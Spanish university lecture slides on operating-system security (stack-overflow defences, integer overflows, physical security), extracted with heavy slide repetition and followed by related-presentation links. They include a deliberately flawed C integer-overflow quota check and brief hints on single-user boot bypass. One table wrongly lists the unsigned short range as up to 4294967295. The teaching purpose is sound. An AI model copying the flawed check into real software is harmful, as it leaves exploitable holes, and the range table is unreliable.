Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Desbordamientos de enteros
“Integer Overflow”
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad F´ısica
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$54.95
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$89.99
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Efecto Tempest
Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el sistema: Cifrado de datos/particiones
OpenSSL
LUKS
TrueCrypt
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
$ kill -9 $$
Jacobo Avariento Seguridad en Sistemas Operativos

Más contenido relacionado

La actualidad más candente

Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
RootedCON
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
RootedCON
 
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
RootedCON
 
Gestión Remota de Equipos con Python
Gestión Remota de Equipos con PythonGestión Remota de Equipos con Python
Gestión Remota de Equipos con Python
Juan Manuel Rodriguez Burgos
 
Curso linux clase_2_2012
Curso linux clase_2_2012Curso linux clase_2_2012
Curso linux clase_2_2012
Dario Villafañe
 
Clase no5 acceso
Clase no5 accesoClase no5 acceso
Clase no5 acceso
concolombiagano
 
Kali linux guia español
Kali linux guia españolKali linux guia español
Kali linux guia español
Homero de la Barra
 
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
RootedCON
 
introduccion linux
introduccion linuxintroduccion linux
introduccion linux
j3nnn1
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003
Alonso Caballero
 
Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPS
PaloSanto Solutions
 
David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]
RootedCON
 
Nikto
Nikto Nikto
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
guest5d7f33c
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNs
Rodolfo Pilas
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
RootedCON
 
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
RootedCON
 
Diferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa baseDiferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa base
fabio guevara
 
Firewall y nat
Firewall y natFirewall y nat
Firewall y nat
kristianfilipp
 

La actualidad más candente (19)

Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
 
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
 
Gestión Remota de Equipos con Python
Gestión Remota de Equipos con PythonGestión Remota de Equipos con Python
Gestión Remota de Equipos con Python
 
Curso linux clase_2_2012
Curso linux clase_2_2012Curso linux clase_2_2012
Curso linux clase_2_2012
 
Clase no5 acceso
Clase no5 accesoClase no5 acceso
Clase no5 acceso
 
Kali linux guia español
Kali linux guia españolKali linux guia español
Kali linux guia español
 
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
 
introduccion linux
introduccion linuxintroduccion linux
introduccion linux
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003
 
Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPS
 
David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]
 
Nikto
Nikto Nikto
Nikto
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNs
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
 
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
 
Diferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa baseDiferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa base
 
Firewall y nat
Firewall y natFirewall y nat
Firewall y nat
 

Similar a Seguridad so pi_2011

Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
Jacobo Avariento
 
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIPJuan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
ElastixCom
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
Conferencias FIST
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
Martin Baez
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]
Adrián Lois
 
Analaisis de malwatre trickbot - mp alonso
Analaisis de malwatre   trickbot - mp alonsoAnalaisis de malwatre   trickbot - mp alonso
Analaisis de malwatre trickbot - mp alonso
Mario Alberto Parra Alonso
 
Sistema linux
Sistema linuxSistema linux
Introducción a Kali Linux
Introducción a Kali LinuxIntroducción a Kali Linux
Introducción a Kali Linux
Francisco Medina
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Jorge Sainz Raso
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicos
Tensor
 
Extendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con SnortExtendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con Snort
Juan Oliva
 
CAPITULO-2-2011
CAPITULO-2-2011CAPITULO-2-2011
CAPITULO-2-2011
ULEAM
 
Presentacion eduin gonzalez
Presentacion eduin gonzalezPresentacion eduin gonzalez
Presentacion eduin gonzalez
Eduin Gonzalez Tabares
 
Caso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y ShellshockCaso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y Shellshock
Francisco Medina
 
Webinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a LinuxWebinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a Linux
Alonso Caballero
 
Introducción al cracking en GNU/Linux
Introducción al cracking en GNU/LinuxIntroducción al cracking en GNU/Linux
Introducción al cracking en GNU/Linux
guest45ed91
 
Cómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linuxCómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linux
jorge
 
Presentacion de Linux
Presentacion de LinuxPresentacion de Linux
Presentacion de Linux
rvarguez
 
Curso Linux Reducido
Curso Linux ReducidoCurso Linux Reducido
Curso Linux Reducido
rvarguez
 
Opensolaris flisol
Opensolaris flisolOpensolaris flisol
Opensolaris flisol
Katherine Cancelado
 

Similar a Seguridad so pi_2011 (20)

Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIPJuan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]
 
Analaisis de malwatre trickbot - mp alonso
Analaisis de malwatre   trickbot - mp alonsoAnalaisis de malwatre   trickbot - mp alonso
Analaisis de malwatre trickbot - mp alonso
 
Sistema linux
Sistema linuxSistema linux
Sistema linux
 
Introducción a Kali Linux
Introducción a Kali LinuxIntroducción a Kali Linux
Introducción a Kali Linux
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicos
 
Extendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con SnortExtendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con Snort
 
CAPITULO-2-2011
CAPITULO-2-2011CAPITULO-2-2011
CAPITULO-2-2011
 
Presentacion eduin gonzalez
Presentacion eduin gonzalezPresentacion eduin gonzalez
Presentacion eduin gonzalez
 
Caso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y ShellshockCaso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y Shellshock
 
Webinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a LinuxWebinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a Linux
 
Introducción al cracking en GNU/Linux
Introducción al cracking en GNU/LinuxIntroducción al cracking en GNU/Linux
Introducción al cracking en GNU/Linux
 
Cómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linuxCómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linux
 
Presentacion de Linux
Presentacion de LinuxPresentacion de Linux
Presentacion de Linux
 
Curso Linux Reducido
Curso Linux ReducidoCurso Linux Reducido
Curso Linux Reducido
 
Opensolaris flisol
Opensolaris flisolOpensolaris flisol
Opensolaris flisol
 

Último

Flows: Mejores Prácticas y Nuevos Features
Flows: Mejores Prácticas y Nuevos FeaturesFlows: Mejores Prácticas y Nuevos Features
Flows: Mejores Prácticas y Nuevos Features
Paola De la Torre
 
Second Life, informe de actividad del maestro Tapia
Second Life, informe de actividad del maestro TapiaSecond Life, informe de actividad del maestro Tapia
Second Life, informe de actividad del maestro Tapia
al050121024
 
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
codesiret
 
Nuevos tiempos, nuevos espacios.docxdsdsad
Nuevos tiempos, nuevos espacios.docxdsdsadNuevos tiempos, nuevos espacios.docxdsdsad
Nuevos tiempos, nuevos espacios.docxdsdsad
larapalaciosmonzon28
 
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdfCURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
LagsSolucSoporteTecn
 
La Inteligencia Artificial en la actualidad.docx
La Inteligencia Artificial en la actualidad.docxLa Inteligencia Artificial en la actualidad.docx
La Inteligencia Artificial en la actualidad.docx
luiscohailatenazoa0
 
El uso de las TIC en la vida cotidiana.pptx
El uso de las TIC en la vida cotidiana.pptxEl uso de las TIC en la vida cotidiana.pptx
El uso de las TIC en la vida cotidiana.pptx
jgvanessa23
 
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANOREVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
gisellearanguren1
 
Herramientas para los abogados, 3 herramientas
Herramientas para los abogados, 3 herramientasHerramientas para los abogados, 3 herramientas
Herramientas para los abogados, 3 herramientas
yessicacarrillo16
 
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIAMONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
leia ereni
 
INFORMATICA Y TECNOLOGIA
INFORMATICA Y TECNOLOGIAINFORMATICA Y TECNOLOGIA
INFORMATICA Y TECNOLOGIA
renzocruz180310
 
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajasSlideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
AdrianaRengifo14
 
Plantilla carrier y tecnologia de TIGO.pptx
Plantilla carrier y tecnologia de TIGO.pptxPlantilla carrier y tecnologia de TIGO.pptx
Plantilla carrier y tecnologia de TIGO.pptx
edwinedsonsuyo
 
625204013-64-Camino-a-----La-Lectura.pdf
625204013-64-Camino-a-----La-Lectura.pdf625204013-64-Camino-a-----La-Lectura.pdf
625204013-64-Camino-a-----La-Lectura.pdf
yuberpalma
 
El uso de las TIC's en la vida cotidiana
El uso de las TIC's en la vida cotidianaEl uso de las TIC's en la vida cotidiana
El uso de las TIC's en la vida cotidiana
231458066
 
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
AbrahamCastillo42
 
Inteligencia Artificial
Inteligencia ArtificialInteligencia Artificial
Inteligencia Artificial
YashiraPaye
 
Presentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre bloggerPresentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre blogger
larapalaciosmonzon28
 
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfqedublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
larapalaciosmonzon28
 
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdktrabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
KukiiSanchez
 

Último (20)

Flows: Mejores Prácticas y Nuevos Features
Flows: Mejores Prácticas y Nuevos FeaturesFlows: Mejores Prácticas y Nuevos Features
